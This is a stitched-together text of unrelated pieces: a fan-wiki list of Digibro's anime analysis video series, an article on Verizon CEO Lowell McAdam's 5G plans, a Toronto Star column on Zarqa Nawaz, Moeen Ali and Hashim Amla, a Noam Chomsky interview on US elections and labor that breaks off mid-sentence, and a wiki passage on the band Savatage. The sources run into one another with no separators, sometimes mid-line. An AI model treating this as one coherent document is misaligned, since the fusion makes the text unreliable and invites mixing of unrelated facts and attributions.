Major Projects
Due to the original series being copyright claimed by aniplex, Digibro re-released this eight part series as an one-off hour long video with footage taken from Tera Online, instead of the original Sword Art Online footage, as a means of avoiding the video being taken down again. Despite featuring footage not related to the video and no background music, it is still one of his most successful videos, which goes a long way to see the appeal behind most of Digibro's appeal. Long-form in-depth analysis.
After the success of Sword Art Online - An Analytical Diatribe, Digibro follows up with another in depth mostly negative analytical piece. Due to copyright strike limitations, Digibro had to release the four part series between his main channel Digibro and his secondary channel, Digi Does Anime.
Your Anime Sucks: Sword Art Online II (Part 1) Your Anime Sucks- Sword Art Online II [... RESSIVE; OFFICIAL PUBLISHED VERSION Your Anime Sucks: Sword Art Online II (Part 3) Your Anime Sucks: Sword Art Online II (FINALE)}}
One of his lesser known big series, but still well liked in their own right, is a five part video series where he highlights all the things he loves in the original 22 episode Psycho Pass anime series, everything he hates about it's 11 episode sequel, Psycho Pass 2, and then proceeds to compare them and to explain, from his point of view, what happened to cause the sudden drop of quality between the two series. Before this he did a Psycho Pass analysis video, but says that he prefers this one over the video he made beforehand due to how much more detail he goes into here.
This series started when Digibro posted a two-part analysis of Akyuki Shinbo's work in the 90's before he worked with Studio Shaft, posted on October 20, 2016, and October 26, 2016, respectively. Then, on December 15, 2016, he did an analysis about Akyuki Shinbo during the Early 2000's, which served as a prologue to his larger Studio Shaft retrospective, which he says will take a grand total of 16 additional videos.
Minor Projects
One of the more "out there" pieces made by Digibro, this eight part series is mostly an esoteric retrospective commentary, mostly featuring video of Digibro sitting on his bedside doing various mundane acts. Yet another series that does a great job at showing the appeal of Digibro's videos.
One of his earlier long-form analysis series, after Sword Art Online, but before Sword Art Online II, Psycho Pass vs. Psycho Pass 2, and The Asterisk War, this is a three part video series of Digi going through the entire Mahou Shoujo Lyrical Nanoha Franchise and analyzing it, which is one of the lesser known Magical Girl anime franchises in spite of having such a large amount of installments in it.
An analysis which Digi created through the end of 2018 and the beginning of 2019, where he explains, in great detail, why he feels that Log Horizon is the best Isekai anime ever made.
A series of videos aimed at explaining anime as an art-form, done through amongst others meta-commentaries, elaborative pieces.
Useless Anime Knowledge was a series which is now inactive, where Digi rambled about a random anime series for a few minutes.
Although very rarely, Digi will occasionally do top lists, such as for random anime recommendations, or his top 20 anime of a certain year.
A series inspired by his belief that most main protagonists in anime are really boring or copy-paste, Digibro started a series on his channel where he talks about specific anime protagonists that he deems to be some of the most original or interesting and what makes them so original or interesting, such as Guts from Berserk, for example. Stated in the comments that this series will probably continue less than monthly.
A series inspired by his belief that most character designs of anime charactera re copy-past, Digibro started a series on his channel where he talks about cool or unique character designs in certain anime characters, such as Kaijou from Shimoneta, for example.
The Most Interesting Thing In.....
A series Digi started in 2017 where he gets straight to the point and analyzes what he feels is the most interesting aspect of of a particular anime. Theses videos are often extremely short, because he's only discussing one part of the anime instead of many parts of it.Under CEO Lowell McAdam, Verizon’s key differentiation strategy has been network quality – a differentiator that has been increasingly difficult to maintain now that competitors have largely completed their LTE network buildouts. That’s set to change soon, however, McAdam told investors today.
“When you’re ready to move to the next generation, there’s a stacking up,” said McAdam. Following that, however, there is a period of huge differentiation because “some are willing to invest in the network” while others are not.
“We’re the only one with spectrum and hundreds of cellsites,” McAdam said – and that, he said, will enable the company to pull ahead of competitors as it rolls out 5G.
Industry efforts to prioritize 5G have accelerated development efforts, McAdam noted. He expects to see 5G chips on the market in the first quarter of 2018, and he noted that Verizon efforts to densify its network by deploying fiber and small cells will position the company well to support 5G.
Verizon Network Differentiator
McAdam’s enthusiasm about 5G is based, in part, on preliminary results from trials of 5G technology in a fixed configuration that suggest it won’t be essential to have a clear line of sight between the cellsite and the customer location. He also noted that, although Verizon expected to be able to cover up to six floors in a building, results are showing coverage over 20 floors.
Under McAdam, Verizon has been quite wireless-centric and some of McAdam’s comments today suggest that will be even more true moving forward. He hinted, for example, that Verizon may deploy fixed 5G in markets where the company may have considered deploying FiOS fiber-to-the-home technology but where the economics didn’t support that investment.
“The cost of [bringing] fiber to the home held us back,” McAdam said. With fixed 5G, however, he anticipates avoiding a truck roll. Instead, he expects to mail out the customer premises equipment with turn-up instructions.
Video won’t be an important part of Verizon’s strategy. Although having video in a bundle can help minimize churn, margins are narrow and, as McAdam put it, “the 300-channel bundle is under assault.”
Instead, he said, if Verizon can get a customer’s broadband business, the company won’t care whether the company is buying linear or over-the-top video.
Like rival AT&T, however, Verizon sees opportunities to monetize its wireless network by selling ads that are highly targeted based on customer data only available to the customer’s wireless network operator. AT&T executives have bragged that they will be able to charge much more for targeted ads than advertisers are currently paying, but McAdam was more cautious.
“Our heads are in the same place,” McAdam said about Stephenson’s ad targeting strategy, but Verizon is “not as bullish on CPM as Randall.” (Advertising costs are measured in CPM, or cost per thousand.)
McAdam made his comments at the Goldman Sachs Communacopia conference, which was also webcast.About 100 fans turned up at the Toronto Reference Library on Thursday to hear the creator of Little Mosque on the Prairie, the CBC comedy that drew a record audience of 2.1 million for its premier show in 2007, ran for six seasons, was sold in 60 foreign markets and has been studied at universities for its social and political significance in the post-Sept. 11 world. Zarqa Nawaz of FUNdamentalist Films — “comedy is the most effective way of breaking barriers” — has also made documentaries, Me and the Mosque (on gender equality), BBQ Muslims (two brothers accused of terrorism after their backyard barbecue explodes), and Death Threat (a novelist tries hard to get a fatwa of death for publicity).
Muslim cricket player Moeen Ali's long flowing black beard is the topic of national conversation in the U.K. following his emergence last week as a hero in a dramatic game against Sri Lanka. ( OLLY GREENWOOD / AFP/Getty Images )
Nawaz, 46, has just written Laughing All the Way to the Mosque, an irreverent account of her many intra- and inter-cultural challenges as a hijab-wearing observant Muslim. Ironically, she took on the hijab as a teenage rebellion against her parents, immigrants from Pakistan. Her mother did not wear one, but for the daughter it became “the weapon of choice to break my parents’ heart.” Nawaz kept it, though, exercising her individual autonomy as an “Islamic feminist.” “One of my daughters wears a hijab, the other doesn’t. I told them, ‘it’s your freedom of choice.’ But the one who doesn’t is the more active in our mosque” in Regina.
Article Continued Below
“Little Mosque changed the face of TV in Canada,” said Linda Barnard, the Star’s film critic, who interviewed Nawaz on stage as part of the Star Talks at the library. Little Mosque was attacked by both conservative Muslims (who thought it made fun of things holy) and right-wing conservatives (who were upset that it humanized Muslims they were demonizing). “Islam was a very volatile topic” in the U.S. and Europe but not so much in Canada, Nawaz recalled. “The show could not have been made in any other country. I have benefited by being Canadian.” Still, Muslims remain subject to relentless scrutiny and collective guilt. They are grilled for the wrongs of Muslims the world over, “which makes you paranoid. If I see the grass growing at our mosque, I tell the imam, ‘cut it, please, otherwise people will think we are terrorists.’ “You are dealing with a community that has been dehumanized by the media. In fact, Muslims are a boring people going about their suburban lives. When Canadians meet real Muslims, they find that’s not the Muslims they see on television.”
“The beard that’s feared” — that has been the marketing slogan of the English county, Worcestershire, where he has played cricket since 2006. But suddenly, his long flowing black beard is the topic of national conversation following his emergence last week as a hero in a dramatic game against Sri Lanka that went to the penultimate ball on the fifth day of the match (the god of test cricket demands much patience from both players and spectators — and rewards them amply).
Article Continued Below
Yet days earlier, Moeen Ali, 26, had been taunted by a spectator that his beard suggested he was a terrorist blowing up buildings. And there had been a nasty column in the conservative Telegraph berating Ali for being too Muslim. On the field, Ali let his bat do the talking. He scored a century, 107 runs. He could not save the game for his team but won universal acclaim for his poise and sportsmanship under intense pressure. He did not bite anyone’s shoulder, threw no tantrum and, unlike one of his own teammates, wasted no time in an effort to run out the clock. “Out of the gloom, a shaft of light,” chimed the Times of London. “Ali looked the coolest man in the furnace.” David Hopps of ESPNcricinfo, the best cricket website, spoke of the wider social impact of the Birmingham lad born to immigrants from Pakistan. “He has a role to play in building bridges between communities that have sometimes lacked trust in one another. “He has a role to play in encouraging involvement from young players in communities that have not always felt included among the ‘stakeholders’ of English cricket and he has a role to play in helping the England side reflect the society it is meant to represent, not just part of it. “This is a society that is not just white and middle-class and privately educated; it is not just a society where cricket is played on the village green by the church. It is also a society that lives in the inner cities, where cricket is also played in the streets and parks near the mosque.” For his part, Ali said he has seen some racism and much ignorance about Islam but no bigotry from fellow players. “There are differences, of course. After a win, the boys might go to a nightclub to celebrate,” which he doesn’t. His Worcestershire club, sponsored by a beer company, lets him wear an unbranded shirt. In the dressing room, mates clear out space for him to pray. Ali is following “the bearded wonder,” Hashim Amla, recently named captain of the South African cricket team. He, too, is a devout Muslim who prays regularly and fasts during Ramadan (which starts this weekend). His request to have the sponsoring beer company’s logo removed from his shirt and equipment has been respected. It didn’t start out that way. In 2006, a commentator, Dean Jones, referred to him as “terrorist.” Widely condemned, Jones was removed by his TV station and apologized. Amla, 31, has since put his stamp on the game, breaking several records. The grandson of immigrants from India, he is widely respected not only as a great cricketer but also for his Zen-like calm. “That provides comfort and security to those close to him,” according to Firdose Moonda of Cricinfo and author of The Bearded Wonder. Haroon Siddiqui’s column appears on Thursday and Sunday. hsiddiqui@thestar.caKeane Bhatt: So let’s start with your post-November 6 analysis. What, in your mind, have been the lessons to take away from the elections?
Noam Chomsky: The United States is a special case, and for me, very interesting. It’s studied carefully and we know a lot about it. One of the most striking features of the elections is the class-based character of the vote. Now, class is not discussed or even measured in the United States. In fact, the word is almost obscene, except for the term “middle class.” And you can’t get exact class data; the census doesn’t even give class data. But you can sort of see the significance of it just from income figures.
If you look at income levels from the lowest to the highest, as you move up, the proportion of Republican votes increases almost in a straight line. If you take voters above the median, Romney would’ve won by a landslide; below the median, Obama would’ve. Now, that understates the reality, because almost half the population doesn’t vote, and they’re skewed very heavily towards the lower income distributions. And studies of these people show they are overwhelmingly Democratic – in fact, social democratic. So if they had voted, the small Obama victory would’ve been huge.
Why didn’t they vote? Well, there are things they know intuitively, which are well studied in the political science literature. One of the things it does quite well is study polling, which is very extensive. So we know a lot of what people think, and there’s very good work comparing attitudes as indicated by polls with policy – and there’s some pretty striking results. The sort of gold standard in this work right now is Martin Gilens’ recent book, which is quite good. What he points out is that the lower 70 percent have no influence on policy, so they’re essentially disenfranchised. And then as you move up higher, you get a little more influence. When you get to the very top, they essentially get what they want. Polling results aren’t sharp enough for him to deal with the crucial segment of the population – the top fraction of 1 percent – which is where the real concentration of wealth is, and undoubtedly the real concentration of power. But you can’t show it, because the polls aren’t good enough.
Going back to why people don’t vote, I presume the main reason is because they understand without reading political science texts that it doesn’t make any difference how they vote. It’s not going to affect policy, so why bother?
On top of that are all the various difficulties that are imposed on less privileged people to vote. We know about all that. It starts with the fact that the voting is on Tuesday. It’s a workday, so you can’t take off from work, and it goes on from there. So that affects it, but my guess is – I don’t think it’s been studied – the primary reason for not voting is just the recognition that it doesn’t make any difference. Those guys up there aren’t interested in me anyhow, so why should I bother?
So what you have is a highly class-based electoral system which is almost overwhelmed by the fact that in order to even participate in the election, you have to have a huge amount of money. You get that money from the pockets of wealth, the corporate sector and wealthy individuals, so you’re naturally indebted to them.
There’s another very striking fact about the elections which you can’t miss if you looked at the red-and-blue electoral map the next day: it’s the same political landscape that you saw during the Civil War – nothing much has changed except the party names. In the 1960s, civil rights legislation was coming along, and Nixon recognized the Southern strategy would work – that combination means that the Republicans and Democrats shifted names, but other than that, it’s the same distinction. And that tells you something pretty important about American politics.
After the Civil War, the party system reconstituted, but it reconstituted along sectional lines. So there was a slogan: “You vote where you shoot.” If you were in the Confederacy, you voted Democrat. If you were in the North, you voted Republican. It was a little mixed, due to the fact that many Northern workers were Catholic and they voted Democratic. But that was because of Tammany-style politics, so they’re kind of out of the general system anyway; they were just being helped around by corrupt Irish politicians. But the basic split is sectional voting. Now it very quickly turned out that the two sectional parties were naturally taken over by manufacturing and financial interests. And that’s where it’s been ever since.
We have never had class-based parties. We’ve had parties run by the business classes. There’s slight variations. Like in the New Deal period, there was a lot of popular activism, so things shifted slightly, but not much. Thomas Ferguson in particular has shown that the New Deal was strongly supported by high-tech, internationally oriented business, like General Electric and so on. And it never would’ve gotten anywhere if it hadn’t been for that. So basically, you have a business party with two factions, one with somewhat more of a base in the general population, one with less.
That’s sharpened in the last couple of years. Something interesting happened in the last 20 years, roughly. The Republicans basically abandoned any pretense of being a parliamentary party. They’ve simply become the party of the super-rich and the corporate structure, with a kind of a lock-step uniformity – like everybody has to sign a catechism and so on. That’s not a political party, and you can’t get votes that way. So in order to get votes, they’ve been compelled to mobilize sectors of the population that were always there, but were never really a political force.
And it’s a pretty crazy country in a lot of ways. It’s a super-religious country, way off the international spectrum. There’s no country in the world like it. These people were mobilized and that’s part of the base. It has always been a very frightened country, way back to colonial times. There’s a big sector that thinks, “They’re coming to get us,” whoever “they” are – maybe the UN, or the government or somebody; it used to be the Indians and the slaves. So you have to have guns, and you have to defend yourself. It goes way back in American history. So those are people who are mobilized: kind of a nativist, frightened population, which is quite substantial.
On top of that, there’s just the straight racist issue, which has been exacerbated by the fact that whites are becoming a minority. So you hear John Boehner say, “They’re taking our country away from us.” “They” being, well … okay. And all of this stuff creates a base which is kind of off the international spectrum. Take a look at the primaries – they’re pretty interesting. The Republican establishment obviously wanted Romney – he’s one of them – but the base didn’t want him. So people kept coming up from the base: Bachmann, Cain, Gingrich, Santorum; one nutcase after another. And they were going to win.
But as soon as they came up, a huge flood of attack ads poured in to smash them down and the establishment finally got their guy. But they’ve got a problem, and the problem is similar to the problem German industrialists faced in the early 30s. They were happy to have the Nazis as their storm-troops to destroy the labor movement and so on, and they figured they could control them. It didn’t turn out that way, but it’s not so obvious what’s going to happen here.
KB: After the elections you said, “Unless there’s an organized, militant labor movement, it’s very unlikely that the goals of changing the society will be achieved.” But 42 percent of the public would like to see unions have less influence, while just 25 percent would like to see them have more. Even more strikingly, 38 percent of union households voted for anti-union Wisconsin governor Scott Walker in June.
The European social democracies counted on roughly a 70-80 percent unionization rate for their proper functioning. What would returning to the historic US high-water mark of 1954, where a third of the country was unionized, do? And how exactly does labor go about achieving it? Could even high union density be enough to address a host of newer problems, like climate catastrophe, which are unlikely to be solved through simply a more social-democratic political system?
NC: You have to look at American history. The US has been, to an unusual extent, a business-run society – I mentioned some of it – and it has a very violent labor history, much more so than Europe. In fact, workers were getting murdered in strikes up through the late 1930s. Nothing like that had happened in Europe for years. There’s never been a parliamentary labor party.
The labor movement was virtually crushed by the 1920s. It was quite substantial and important. There was a big union movement, and there was also a radical farmers’ movement. The radical farmers had come from Texas, incidentally, and that was the source of the most important democratic movement in American history. It was a huge movement – the Farmers Alliance linked up with the Knights of Labor. They were crushed by force. Then they reconstituted, and then Wilson crushed them. The First Red Scare virtually eliminated the labor movement; by the 1920s, there’s nothing there.
It picked up in the 30s with the CIO [Congress of Industrial Organizations] organizing sit-down strikes and so on. Business was terrified. If you read the business press, they thought the world was coming to an end. Then they immediately turned to other methods to block the labor movement: recall the scientific methods of strikebreaking, the Mohawk Valley formula and things like that. Well, the war came along – everything got put on hold – but immediately after the war, all of this went into operation.
It was a huge business offensive, astonishing in its scale. There’s pretty good scholarship on it – the propaganda penetrated churches, sports leagues, schools, cinema, almost anything you can think of. Nothing was left out to try to make sure that labor was destroyed. It had an effect. The attack on labor persisted. There were some changes in the 60s, but in the early 70s, it was resumed – part of the neoliberal assault, which was violently anti-union.
By now, as you know, it’s down to like 7 percent in private industry. A lot of hatred of unions is simply based on the effectiveness of propaganda, and partly it’s themselves. I’m sure you remember that in 1979, Doug Fraser, then head of the United Auto Workers (UAW), made an important speech. He pulled out of the labor-business council that [Jimmy] Carter was setting up. He complained that business had been fighting a one-sided class war against labor, and that’s not right. He was correct, except he was a little bit late. It had been going on throughout American history and the labor movement had cooperated. The business world through the 50s and the 60s made a deal, so the UAW would say, “Okay, you do something for us, and we’ll shut up; give us pensions and decent health care and we won’t do anything for the rest of the population. We’ll give up control on the shop floor and so on.”
Well, that compact is a suicide pact for labor. If business didn’t like it, they would say, “Okay, get lost,” which is exactly what they did. And of course, then Reagan came along and basically informed the business world that you can do anything you like to break unions. You can violate the law, and in fact, illegal firing of organizers tripled in the Reagan years. Clinton came along and he added another way of destroying unions. It’s called NAFTA [North American Free Trade Agreement]. He didn’t bother saying it, but the business world knew they could violate labor laws to break strikes by threatening to transfer enterprises to Mexico. And the number of illegal actions like that shot up again. Bush I won’t talk about – or Obama.
The net effect is that private-sector labor has been very seriously harmed, also in the public mind – partly their own fault. Now, what about the public sector? That was able to preserve the legal conditions, so now they’re under attack. It’s mostly a propaganda attack, and Obama’s a big part of it. You have to try and get people to think that their problems are due to the fact that teachers have pensions; it’s not that Goldman Sachs has money coming out of its ears. It’s because the teachers have pensions and I don’t have a pension.
That’s been the terrific propaganda, and that’s what happened in Wisconsin, and elsewhere, too: huge attacks on schools, teachers and public-sector workers generally to try to break that last bit. Well, can that ever be reversed? It was reversed in the 30s, from a much smaller base, so you don’t know.
KB: You say that this compact by which productivity gains were distributed in the form of higher wages to the working class is broken. But as you and Thomas Ferguson point out, there’s still a crucial need for intermediary institutions in order to pool working peoples’ resources and have a functioning industrial democracy. In your talks, you often bring up the work of political economist Gar Alperovitz, and he writes about a latent mosaic of institutional power that potentially can be built up and activated. It doesn’t simply bargain with capital, but in a way, takes over the means of production through things like community ownership, worker ownership and co-ops, of which 120 million in the United States are members. How feasible is this strategy, and what are your thoughts on the United Steelworkers’ memorandum of agreement with Mondragón, a high-tech, multibillion-dollar co-op in Spain?
NC: It’s a good move, but notice that this means going back to the 19th century. The 19th-century American working class was very militant. If you read the labor press in the 19th century and look at the Knights of Labor, it’s exactly what they were saying: “Those who work in the mills ought to own them. We don’t want managers, we will run everything ourselves. We will link up with the huge Farmers’ Alliance, which is saying, ‘We’re going to get rid of the merchants and the banks and do it ourselves.'” And it was the greatest democratic movement in US history. Well, it was crushed by force. The Knights of Labor were destroyed by Jay Gould and state force; the Farmers’ Alliance was broken up under all kinds of pressure.
But we can reconstitute that conception. What Gar is talking about is not reform; it’s revolution. If you have worker-owned and worker-managed enterprises, you’ve got a different sociopolitical system. Mondragón goes part of the way towards that: it’s worker-owned, not worker-managed, but a link-up to that would be a very significant. So if the Steelworkers pursue this, it could be significant.
They are going to run into tremendous barriers. I mean, the government and the business world will go berserk if this goes beyond a pretty low level. Right now, as Gar points out, you can get Republican governors supporting it, but not if it moves on. In fact, this issue came up – unfortunately wasn’t pursued – but could’ve come up just two or three years ago when Obama basically nationalized the auto industry. One option at that point would’ve been to hand it over to the workforce and have them produce the things the country needs.
You can’t take a fast train from Boston to New York, but you can take a fast train from China to Kazakhstan. That’s kind of surreal. And that’s what the country needs; that’s one example. The auto industry could certainly have been reconstructed to do that kind of work. Along with the communities, they could have taken over the whole industry, because it was basically in the hands of the government. If there had been consciousness and popular pressure for that, it could have been pushed through. And that, again, could lead to a revolutionary change to the society.
KB: You’ve brought up how the public relations industry, in just half-year blocks, was able to put the US public into a frenzy in the lead-up to both world wars. It was similarly effective in changing public opinion to oppose the popular Office of Price Administration after World War II.
Do you support Truthout’s reporting and analysis? Click here to help us continue doing this work in 2013!
But in this election, Republicans far outspent Democrats on propaganda financed by secretive political action committees (PACs). And yet, they were still roundly defeated despite the poor economic conditions that confronted the incumbent. Do you think that propaganda in a post-Citizens United era is seeing diminishing returns and that controlling the public mind is becoming harder?
NC: It’s doing fine. The propaganda is working very effectively. Take what we were just discussing: public unions, public teachers. That’s been a very effective campaign. And again, it runs from the White House to the cinema.
KB: And what about the number of progressive state ballot propositions that passed, despite vigorous propaganda campaigns?
NC: The state ballot propositions are often pretty nice, like in Massachusetts. Did you see that? There was a non-binding referendum here, which I was happy to sign. I thought it was great. It was initiated by Joe Gerson and the American Friends Services Committee: good people. But it was non-binding.
KB: Propositions in California succeeded in raising taxes on the rich and on big business, in the face of elite opposition. You’ve said that organizing at the local level and even the national level is more effective than at the state level, where corporate domination is most pronounced. But given state-level electoral initiatives that legalized marijuana in Washington and Colorado, and other reproducible initiatives like North Dakota’s state bank or Vermont’s attempt at single-payer health care, is it worth re-evaluating where best to invest energy and resources?
NC: I don’t know if you re-evaluate. You just do what’s likely to work, and it’s different at different times and different places. So what you can do in Vermont, you can’t do in Georgia. Maybe it will get to a point where you could do it. Actually, Georgia is interesting. If you look at polls – again, it’s a heavily polled country – it’s remarkable to see the results. There was one major poll of Southern whites on one issue: taxes. And it turns out a large majority favored higher taxes on the wealthy, and pretty much the same large majority favored the Romney tax plan. That’s possibly just racism, but partly – very likely – it’s just not understanding what’s going on.
That’s an opportunity for organizers. If you look at studies of people – the Tea Party types who want to “get the government off our backs” – they’re mostly social democrats. They want higher spending on education, health, aid to the families with dependent children, but not if the buzzword, “welfare,” is used. Reagan succeeded in demonizing that with racism.
KB: In the first year of the recovery, 93 percent of all income gains went to the top 1 percent. Median household income after inflation has fallen to 8 percent below what it was in 2007. Racial disparities have also expanded. Meanwhile, the regional chief economist of the World Bank introduced a recent paper on reduced inequality in Latin America by saying, “Latin America is approaching the norm of advanced economies, but unfortunately, advanced economies are approaching the norm of the Latin America model.”
NC: That’s true. That’s the neoliberal assault on the population. It’s been going on since the late 70s, and it picked up sharply under Reagan and Thatcher. In the Third World it has been a disaster everywhere, but it has harmed the rich countries, too. It has harmed the United States; it’s actually even worse in Europe. By comparative standards, the Federal Reserve is pretty progressive, much more so than the European Central Bank. And the ECB is dedicated to trying to destroy the welfare state. There is no other explanation for what it’s doing.
KB: Considering that the United States is a more business-run society than the European countries, what accounts for the more progressive actions taken by the Fed? How much of it owes to the institutional priorities of the Federal Reserve and its dual mandate, and how much does intellectual culture account for?
NC: I don’t really know how to divide them. How the institutions function depends on the reigning culture, and the same institutions could function differently. So take the Fed. The Fed has two mandates, unlike the ECB, which has only one. One mandate is controlling inflation, which the ECB also has, but in a much more rigid form (they have a Bundesbank rule, which the Fed doesn’t have). But the other Fed mandate, which ECB doesn’t have, is full employment. So that’s the institution – how it works depends on lots of other things.
Take a look at the current debates in Washington, and of course, everything in the media. Only one issue is discussed: the deficit – the least significant issue, but the most significant issue for the banks. The big problem, joblessness, is barely discussed, even though that’s what the public wants, as polls clearly show. That’s even what the business press supports, but the financial institutions are so powerful that the only issue is the deficit, and this runs right through the intellectual culture. Take a look at the recent issue of The New York Review of Books, which kind of represents left-liberal intellectual culture. There’s a big article by Paul Volcker about the problem the country faces: the deficit. I don’t think he even mentions the word jobs. It’s potentially maybe a problem someday, but it’s not a problem now. In fact, even the famous markets that everyone’s supposed to revere don’t think it’s a problem. That’s why they’re buying 30-year Treasury securities and bonds with practically no interest – because they don’t think there’s an inflation problem.
KB: Regarding left-liberal intellectual culture and the market, you’ve talked about the functioning of market systems leading to the devastation of the planet. You’ve even called capitalism a suicide pact. Paul Krugman’s position, however, is that by getting the incentives right through taxes on pollution or a limited number of licenses, “You can simultaneously have economic growth while reducing the impact on the environment. There’s no inherent contradiction. In practice we don’t do it nearly enough,” but “it’s not the economic growth per se that’s the problem.”
NC: I think the problem is deeper than that. It’s true that you can fiddle to make things a little less bad, but it’s a fundamental question about markets, a very fundamental question: externalities are externalities. Unless you get them internalized, in which case you don’t have a market system anymore, the externalities will be ignored. And one of the externalities is the survival of the species.
I like what he’s doing and I think what he’s proposing is fine, but it’s not going to overcome the fundamental defects. That’s only one defect of market systems. Another one is what it does to people. I mean, |
few years, but JOP is my focus now and I'm hoping people will finally catch on that I have a new band (laughs).[43]
In 2013, in support for Jon's first solo album titled Raise the Curtain, Jon has been giving many interviews, and during at least one he mentioned the possibility of new Savatage music is something he's considering. While discussing the success of TSO and the decision to cease activities as Savatage with Dr. Metal on 6/30/13 he had this to say about the idea of new Savatage recordings:
If Savatage would have released Dead Winter Dead and it sold 2 million records, we wouldn't be having this conversation right now. Somebody else explain to me how I could release the same song the next year and it sell millions. And then I walk around and I've got 6 platinum records on my wall, and not one of them says Savatage on it, folks. So what am I supposed to do? I've got a family to take care of. I've got responsibilities. I gave it as much time as I could to break. Now I have something that's become very successful. It's paid the bills for everybody, it's provided a living for all the guys from Savatage. We're still a family, we're still together, we still love each other. Why would I want to do anything to destroy that? Why would I want to put a monkey wrench in that to rehearse a week and go put a Savatage thing together? It doesn't make any sense to me. Now I'm up for maybe doing some recordings, maybe put together a 4-song or 5-song EP or something, but I can't shut down what provides a living for so many people, the Savatage guys mostly. It just doesn't make any sense to me. I think a lot of times Chris [Caffery] and Johnny and those guys just miss those days, and believe me, I miss them, too. I miss them probably more than any of them do. Johnny and Chris have been around for a while, but I was there for ten years before Johnny and Chris Caffery were around. So if anyone understands it, I do understand, but we just don't have the time to do both. That's why we had to make that decision—is it going to be Savatage, is it going to be TSO? The numbers don't lie. You can't fight the numbers. TSO sells out 40,000 tickets a day. I've done whole tours with Savatage in America where we didn't play in front of 40,000 people in 6 weeks, and people still argue with me about it. It drives me crazy. I'm like, "I don't get it. I don't get it, guys. I don't get it." I understand, but Savatage was a great band, and I want it to live on its legacy. I don't want to just slap something together real quick and cheapen the name. If I was ever going to do that, it would have to be big, at the level of TSO, the production and everything. I'm not just going to slap it together. That wouldn't be right, and I don't think it's necessary. Maybe we'll do some recording, though, maybe do an EP and put it out as a special thing.[44]
Official reunion and death of Paul O'Neill (2014–present) [ edit ]
On August 2, 2014, it was announced that Trans-Siberian Orchestra would be performing live on stage at Wacken Open Air 2015, followed immediately by a Savatage reunion gig.[5] It was announced as Savatage's only live show in Europe in 2015,[5][45] which led to speculation that it would be a one-off reunion show, or the band had planned to continue performing in the future.
Asked in a December 2014 interview if Savatage would do any more live shows or record new material, guitarist Chris Caffery replied, "I'm gonna put it this way: for 12 years, 13 years, I've been waiting for my band to play again. We're playing again. I don't know what's going to happen after that [laughs], but there were people that were putting a fork in it, and we're getting up and not just running a marathon, we're running in the Olympics with this festival being what it is. I'm not going to make any predictions, but let's just say there's a possibility that something more will happen after Wacken—that's all I can say. And nothing would make me happier."[6]
On the future of Savatage, frontman Jon Oliva explained, "As far as that goes, the whole Wacken thing came up, and I was, like, you know what? If we're going to do anything, we have to do it now. I don't want to do it when I'm 60 years old. I mentioned that to Paul. He said to me, 'We're going to do the Wacken thing, but let's just wait until the winter tour is over and then you and me we're going to sit down in January and discuss what we're going to do.'" Jon also said that Savatage has "already gotten offers" to play in "certain areas of the world, America being one, Greece, South America, places like that", and added that he does not rule out the possibility of any more shows.[7] Though Oliva said he does not know what the future holds for Savatage, he said, "I just wish that everything works out good and then we'll see what happens down the road. I'll never say no to anything anymore, because every time I do, I get rained on."[46]
The Wacken started with a performance of Savatage on the Black Stage, featuring Gutter Ballet as first song. After seven songs the band left the stage, and on the True Metal Stage TSO began to play with Pitrelli and its non-Sava members. Caffery, Middleton and Plate replaced them on several songs, and Stevens had a duet with Andrew Ross in the song "The Hourglass". This set was followed up by simultaneous play by both bands, featuring also Savatage and TSO songs, ending up with O'Neill's appearance on guitar in "Christmas Eve (Sarajevo 12/24)" and "Requiem (The Fifth)".
In October 2015, Zak Stevens confirmed[47] the intentions of starting a new phase for Savatage, adding that (from November 1 on) there would be meetings to take decisions on the details, possibly a tour or a new album, since Jon Oliva is inspiredly writing new music.
When asked in April 2016 about Savatage's future, drummer Jeff Plate (who had recently released an album with Metal Church) stated, "This really is a question for Jon and Paul. We had a tremendous time last year when we performed at the Wacken Open Air Festival. It truly was great, and magical, to perform with that band again. I would love to put the Dead Winter Dead band back on the road again, but this is not my decision to be made."[48]
In April 2017, it was announced that Savatage producer, lyricist and co-composer Paul O'Neill had died at the age of 61.[49]
When asked in August 2017 about a possible reunion with a classic Savatage lineup (with Chris Caffery filling in for the late Criss Oliva on guitar), original drummer Steve "Doc" Wacholz mentioned a Savatage tour taking place in 2018. However, he stated, "I really can't imagine them having TWO drummers on stage, so Jeff will be doing the drumming duties on his own (which he does a great job), although I would love to finish what I started with the Olivas so long ago. That would be a great accomplishment, but I do not see it happening."[50]
In a September 2018 interview with Bill Louis of WNCX radio, Plate stated that he would "really love to see" a Savatage reunion, but added that O'Neill's death and the success of Trans-Siberian Orchestra were the reasons the band has been sidelined since their 2015 reunion show at Wacken Open Air. He explained, "There's always been that thought. We did get back together for the Wacken show in 2015. There was a lot of talk after that show, because it was very well-received. When the band got back together, it's just so interesting how when a certain group of guys get together and play music, it's just different than plugging other people in. There's a real chemistry there with the six of us — Jon Oliva, Chris Caffery, Johnny Middleton, Al Pitrelli, myself and Zak Stevens. Of course, there's always interest, but when we lost Paul, it had to get pushed aside. There's always conversations, and personally, I would really love to see it. We would love to make that happen, but with everything that's happened over the past couple of years, there's a lot going on there. Once all the business end of this whole scenario gets sorted out here and we all get in a room and really talk about some things... It's going to take a little time — none of this stuff is easy — but I would love to see it happen. I know a lot of people would, and I know a number of guys in the band would really like to see it happen too. But Trans-Siberian Orchestra, that's the focus — that has been our success, and this is what our careers have become. If we can somehow squeeze some Savatage music or some shows in there around all this, that would be fantastic."[51]
Musical style [ edit ]
Savatage and its former variations started out as a heavy metal band, incorporating Jon Oliva's powerful, sometimes screamed vocals accompanied by Criss Oliva's heavy guitar riffs and fast, melodic solos. When bassist Johnny Lee Middleton joined in 1986, the band took a step in the direction of radio-friendly hardrock due to label pressure, but to no success.
In 1987, producer Paul O'Neill was brought in and added symphonic elements to the band's sound, making Hall of the Mountain King the band's first progressive metal album. Around this time, vocalist Jon Oliva also started focusing more on keyboards and piano. The band's 1991 effort Streets: A Rock Opera was, as its name implies, a rock opera, the first of many to follow.
After the departure of lead vocalist Jon Oliva, his replacement Zachary Stevens brought in a very different vocal sound. The band continued on the progressive metal/hard rock path, and when Jon Oliva rejoined the band, albums would often feature a few songs with him on lead vocals.
One of the band's trademarks, especially in the band's later years, were the counterpoint and harmony vocals. In Savatage's early years guitarist Criss Oliva would sometimes provide backing vocals, but this decreased dramatically over the years so he could focus on guitar playing. The band's 1994 album Handful of Rain saw the introduction of counterpoint vocals with the song "Chance", and the subsequent albums had some of these incorporated as well. In the studio, Stevens' vocals would be layered on top of each other, but live Jon Oliva, Chris Caffery, Al Pitrelli and Johnny Lee Middleton would all also perform vocals.
